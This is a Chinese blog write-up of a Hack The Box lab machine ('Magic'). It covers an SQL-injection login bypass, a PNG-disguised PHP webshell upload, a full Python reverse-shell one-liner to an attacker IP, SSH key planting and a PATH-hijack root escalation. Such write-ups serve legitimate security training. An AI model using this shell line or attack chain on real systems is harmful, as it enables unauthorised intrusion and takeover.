记一次对Hack the box_magic的渗透测试

简介: 记一次对Hack the box_magic的渗透测试

靶机介绍:

Magic有两个常见步骤,一个SQLI来绕过登录,一个webshell上传,带有双扩展名来绕过过滤。从那里,我可以获得一个shell,并在数据库中查找凭证,然后切换到user。为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。在Beyond Root中,我将查看导致执行. PHP .png文件的Apache配置、过滤上传的PHP代码以及suid二进制文件的源代码。

信息收集

1.端口扫描

a1a3c92c4a00f95ba0c7860815f2fdc5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现存在22和80端口。

ca6b48705e9991ed2b06b42cf477304b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.SQL注入

发现存在SQL注入万能密码进行登录。

b40fa1e9642ee4387597ce4c322fd01c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

存在文件上传

e4920e182ae4b43fd1c48c792323caf5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3生成图片马进行文件上传

使用exiftool -Comment='' 1.png 生成一个图片马,图片在网上下一个.png格式的。

ba3ff478a76afb0e5481d9df5698a969_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。

c018dff8875f27605eb67e1b6f2d9ba5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功进行上传

c00c984e7f5e7c3caf95c1f3030088ad_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

漏洞利用:

1.命令执行

上传之后,发现可以执行命令。

737441d76478da2e2dc51f43ab7caa52_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.反弹低权限shell

利用python3:ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'进行反弹shell,然后在浏览器进行访问
http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

d7467301b457e5a4797e2c00bcf79844_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用nc监听8833端口。然后在浏览器访问url地址,成功获得低权限shell。

64a6c8e1a7d7f713e635b27be456e579_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

权限提升:

1.获取数据库用户账号密码

在查看文件的过程中,发现存在db数据库文件。成功找到了数据库和密码。


2c98ca02e2aba49d244ae1e8a5d865d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后使用mysql进行登录。

31e7aca86d04bcae1aa66cec6e34c8fd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

登录之后,直接获得了admin用户密码。

dd045b15f771c997342a0d1a9b0f83cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.ssh登录

使用su切换用户。成功找到第一个user.txt文件。

59481e2f6bd84cc5341c393f10f0a904_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.生成ssh公钥,写入公钥。

368ed038acc836a2e6586964bd283c8f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

将公钥写入到远程服务器的authorized_keys文件。

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g3h/dvTjQfKx3HfKkhlBcQQBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRsimz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMHDyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5pTXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys

0dec3baf5f8c015b561c8f76bc2d8d13_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

69ea821a9bde7e9d7e96d5c17285f7dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.ssh远程连接

使用本地ssh进行连接。

5e62054d6fcdc78f26729e2fece6c4f3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

5.远程文件传输

在github下载LinEnum.sh,然后本地开启80端口。

e01a48536147588c4e2bbc55c55c645a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6.使用LinEnum.sh脚本检测薄弱点

远程服务器成功下载到,然后使用脚本进行检测。

4bffdd25e871cdb86bd58ea3099b2f72_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现/bin/sysinfo -x权限很可疑,进行查看。

d532d8b5e04b489083eb71eb5ee8dc02_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用file进行查看,发现是64位的ELF。

2db905419dae9d40d9345eb3b0ef9c41_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3dfbc074905256ef61b586605979d7f3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


7.提权

在本地的free文件写入提权脚本。

d720b54ecd8c1fc3a3b10632c928983e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

开启远程下载。

7cba522d042402029b3fc05d73ed5a35_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功下载到free文件

d184dfb33905d943d5f1fd506b8754c0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

增加其执行权限,然后添加到环境变量当中。

export PATH="/dev/shm:$PATH"

8d166d17a5a023f4a4828c936515e5a7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

执行/bin/sysinfo进行查询。

93ec2e25d82a030ccbd88bebe9fa2496_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

nc再次开启监听,然后成功获取到root权限。接着进入root目录,成功获取到root.txt文件。

117916300552755fbdced5ffc75090c4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

总结:

这个靶机从信息收集-漏洞利用-文件上传。用到了sql注入万能密码漏洞获取登录权限,然后生成图片马,进行命令执行,在使用python3进行反弹shell,获取低权限shell之后,存在db数据库文件泄露,然后写入本地ssh公钥,利用本地ssh进行登录,开启远程文件传输,上传LinEnm.sh文件进行枚举权限的缺陷,发现可以利用lshw,fdisk,cat和free等进行权限提升。

相关文章
|
缓存 测试技术 Linux
《Linux内核精髓:精通Linux内核必会的75个绝技》一HACK #20 使用fio进行I/O的基准测试
本节书摘来自华章出版社《Linux内核精髓:精通Linux内核必会的75个绝技》一书中的第3章,第3.4节,作者 竹部 晶雄、平松 雅巳,更多章节内容可以访问云栖社区“华章计算机”公众号查看
2097 0
《Linux内核精髓:精通Linux内核必会的75个绝技》一HACK #20 使用fio进行I/O的基准测试
|
9天前
|
监控 JavaScript 测试技术
postman接口测试工具详解
Postman是一个功能强大且易于使用的API测试工具。通过详细的介绍和实际示例,本文展示了Postman在API测试中的各种应用。无论是简单的请求发送,还是复杂的自动化测试和持续集成,Postman都提供了丰富的功能来满足用户的需求。希望本文能帮助您更好地理解和使用Postman,提高API测试的效率和质量。
51 11
|
1月前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
65 3
|
2月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
80 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
3月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
270 7
Jmeter实现WebSocket协议的接口测试方法
|
3月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
287 3
快速上手|HTTP 接口功能自动化测试
|
3月前
|
JavaScript 前端开发 测试技术
ChatGPT与接口测试
ChatGPT与接口测试,测试通过
58 5
|
2月前
|
JavaScript 前端开发 API
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
49 0
|
4月前
|
网络协议 测试技术 网络安全
Python进行Socket接口测试的实现
在现代软件开发中,网络通信是不可或缺的一部分。无论是传输数据、获取信息还是实现实时通讯,都离不开可靠的网络连接和有效的数据交换机制。而在网络编程的基础中,Socket(套接字)技术扮演了重要角色。 Socket 允许计算机上的程序通过网络进行通信,它是网络通信的基础。Python 提供了强大且易于使用的 socket 模块,使开发者能够轻松地创建客户端和服务器应用,实现数据传输和交互。 本文将深入探讨如何利用 Python 编程语言来进行 Socket 接口测试。我们将从基础概念开始介绍,逐步引导大家掌握创建、测试和优化 socket 接口的关键技能。希望本文可以给大家的工作带来一些帮助~
|
5月前
|
存储
Postman 接口测试配置 Pre-request Script
Postman 接口测试配置 Pre-request Script
238 5
Postman 接口测试配置 Pre-request Script